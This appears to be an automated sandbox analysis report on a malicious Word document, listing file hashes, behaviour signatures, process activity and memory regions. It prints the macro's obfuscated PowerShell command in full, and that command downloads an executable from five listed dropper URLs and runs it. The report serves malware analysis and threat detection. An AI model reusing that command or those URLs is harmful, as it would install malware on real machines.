Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-05-2024 09:02

General

  • Target

    5e40afb62420bbc6ad25da48721f29eb_JaffaCakes118.doc

  • Size

    266KB

  • MD5

    5e40afb62420bbc6ad25da48721f29eb

  • SHA1

    c7e7893c679f57b297ccdf7b2da61488f7c9cf0b

  • SHA256

    6038c03c5a2f937de49b0e78c86dd25cc0c2b9677c8b824fa0a71d66b700b881

  • SHA512

    876a42006821d90ca7de7e34b6987ff115d7a9c9de3bfcaced498494285eba060558c8d744773d988c7d691a63a1a133f9c7240ff8b9711ef583aa8543301f6b

  • SSDEEP

    3072:VkhgqkhgACSQKaSx+SbtYqS4fvS7GQRbSVuz1QzC9klhxztsZ5QPwYCUB5BEiudV:VCwQK3RpVS7G4SVuz1QzLhxztsZGPwa

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://doostankhodro.com/fK6qaMppa

exe.dropper

http://dev.worldsofttech.com/TGToBTgXMgJxTL

exe.dropper

http://disticaretpro.tinmedya.com/acmethemes/ifWwmIYow9hVD

exe.dropper

http://debestevakantiedeals.nl/smVjfzShY

exe.dropper

http://tcaircargo.com/fb_personalize/S8cVB2O0FQJxa_IYFMQ5lE

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 9 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5e40afb62420bbc6ad25da48721f29eb_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:264
    • C:\Windows\System32\WindowsPowerShell\v1.0\powerSHELL.exe
      powerSHELL $v3l7BE = '$doTS9twI = new-obj0-9902258800ect -com0-9902258800obj0-9902258800ect wsc0-9902258800ript.she0-9902258800ll;$gU2RjaYZe = new-object sys0-9902258800tem.net.web0-9902258800client;$pfpm2AO = new-object random;$FtP5y = \"0-9902258800h0-9902258800t0-9902258800t0-9902258800p0-9902258800://doostankhodro.com/fK6qaMppa,0-9902258800h0-9902258800t0-9902258800t0-9902258800p0-9902258800://dev.worldsofttech.com/TGToBTgXMgJxTL,0-9902258800h0-9902258800t0-9902258800t0-9902258800p0-9902258800://disticaretpro.tinmedya.com/acmethemes/ifWwmIYow9hVD,0-9902258800h0-9902258800t0-9902258800t0-9902258800p0-9902258800://debestevakantiedeals.nl/smVjfzShY,0-9902258800h0-9902258800t0-9902258800t0-9902258800p0-9902258800://tcaircargo.com/fb_personalize/S8cVB2O0FQJxa_IYFMQ5lE\".spl0-9902258800it(\",\");$c4PJiR = $pfpm2AO.nex0-9902258800t(1, 65536);$KLuSv = \"c:\win0-9902258800dows\tem0-9902258800p\152.ex0-9902258800e\";for0-9902258800each($sN1Gne6oK in $FtP5y){try{$gU2RjaYZe.dow0-9902258800nlo0-9902258800adf0-9902258800ile($sN1Gne6oK.ToS0-9902258800tring(), $KLuSv);sta0-9902258800rt-pro0-9902258800cess $KLuSv;break;}catch{}}'.replace('0-9902258800', $N8CMx);$HN5Ckrzw = '';iex($v3l7BE);
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4524

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCD9782.tmp\sist02.xsl

    Filesize

    245KB

    MD5

    f883b260a8d67082ea895c14bf56dd56

    SHA1

    7954565c1f243d46ad3b1e2f1baf3281451fc14b

    SHA256

    ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

    SHA512

    d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_105zft01.edg.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/264-16-0x00007FF7CB710000-0x00007FF7CB720000-memory.dmp

    Filesize

    64KB

  • memory/264-560-0x00007FF7CDFD0000-0x00007FF7CDFE0000-memory.dmp

    Filesize

    64KB

  • memory/264-1-0x00007FF7CDFD0000-0x00007FF7CDFE0000-memory.dmp

    Filesize

    64KB

  • memory/264-5-0x00007FF80DFED000-0x00007FF80DFEE000-memory.dmp

    Filesize

    4KB

  • memory/264-8-0x00007FF80DF50000-0x00007FF80E145000-memory.dmp

    Filesize

    2.0MB

  • memory/264-7-0x00007FF80DF50000-0x00007FF80E145000-memory.dmp

    Filesize

    2.0MB

  • memory/264-29-0x00007FF80DF50000-0x00007FF80E145000-memory.dmp

    Filesize

    2.0MB

  • memory/264-12-0x00007FF80DF50000-0x00007FF80E145000-memory.dmp

    Filesize

    2.0MB

  • memory/264-11-0x00007FF80DF50000-0x00007FF80E145000-memory.dmp

    Filesize

    2.0MB

  • memory/264-10-0x00007FF80DF50000-0x00007FF80E145000-memory.dmp

    Filesize

    2.0MB

  • memory/264-9-0x00007FF80DF50000-0x00007FF80E145000-memory.dmp

    Filesize

    2.0MB

  • memory/264-14-0x00007FF80DF50000-0x00007FF80E145000-memory.dmp

    Filesize

    2.0MB

  • memory/264-13-0x00007FF80DF50000-0x00007FF80E145000-memory.dmp

    Filesize

    2.0MB

  • memory/264-15-0x00007FF7CB710000-0x00007FF7CB720000-memory.dmp

    Filesize

    64KB

  • memory/264-561-0x00007FF80DF50000-0x00007FF80E145000-memory.dmp

    Filesize

    2.0MB

  • memory/264-4-0x00007FF7CDFD0000-0x00007FF7CDFE0000-memory.dmp

    Filesize

    64KB

  • memory/264-6-0x00007FF80DF50000-0x00007FF80E145000-memory.dmp

    Filesize

    2.0MB

  • memory/264-33-0x00007FF80DF50000-0x00007FF80E145000-memory.dmp

    Filesize

    2.0MB

  • memory/264-2-0x00007FF7CDFD0000-0x00007FF7CDFE0000-memory.dmp

    Filesize

    64KB

  • memory/264-0-0x00007FF7CDFD0000-0x00007FF7CDFE0000-memory.dmp

    Filesize

    64KB

  • memory/264-557-0x00007FF7CDFD0000-0x00007FF7CDFE0000-memory.dmp

    Filesize

    64KB

  • memory/264-28-0x00007FF80DF50000-0x00007FF80E145000-memory.dmp

    Filesize

    2.0MB

  • memory/264-56-0x00007FF80DF50000-0x00007FF80E145000-memory.dmp

    Filesize

    2.0MB

  • memory/264-57-0x00007FF80DF50000-0x00007FF80E145000-memory.dmp

    Filesize

    2.0MB

  • memory/264-3-0x00007FF7CDFD0000-0x00007FF7CDFE0000-memory.dmp

    Filesize

    64KB

  • memory/264-517-0x00007FF80DF50000-0x00007FF80E145000-memory.dmp

    Filesize

    2.0MB

  • memory/264-527-0x00007FF80DF50000-0x00007FF80E145000-memory.dmp

    Filesize

    2.0MB

  • memory/264-558-0x00007FF7CDFD0000-0x00007FF7CDFE0000-memory.dmp

    Filesize

    64KB

  • memory/264-559-0x00007FF7CDFD0000-0x00007FF7CDFE0000-memory.dmp

    Filesize

    64KB

  • memory/4524-53-0x00007FF80DF50000-0x00007FF80E145000-memory.dmp

    Filesize

    2.0MB

  • memory/4524-44-0x00000243D2D00000-0x00000243D2D22000-memory.dmp

    Filesize

    136KB

  • memory/4524-37-0x00007FF80DF50000-0x00007FF80E145000-memory.dmp

    Filesize

    2.0MB